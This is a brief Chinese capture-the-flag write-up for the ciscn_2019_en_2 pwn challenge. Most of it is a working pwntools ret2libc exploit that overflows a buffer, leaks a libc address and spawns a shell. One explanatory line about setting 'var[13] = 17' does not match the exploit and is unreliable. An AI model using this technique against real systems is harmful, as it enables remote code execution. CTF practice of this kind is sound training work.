查看文件信息
amd 64位系统 NX保护
IDA 分析
nc 程序连接一下
没什么东西 给了几个选择的按钮
IDA 64分析一波
发现其实程序就只能选择1 而且关键函数是encrypt
我们进去看一下
所以 只要让 var[13] = 17就行了
exp
但是 这里要说明一下 32位程序是能直接去内存中寻址执行的
64位就是要依靠寄存器来寻址 然后找到地址返回给程序去执行的
from pwn import*
from LibcSearcher import*
r=remote('node3.buuoj.cn',25608)
elf=ELF('./ciscn_2019_en_2')
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)
r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
#puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)
r.sendlineafter('encrypted\n',payload)
r.interactive()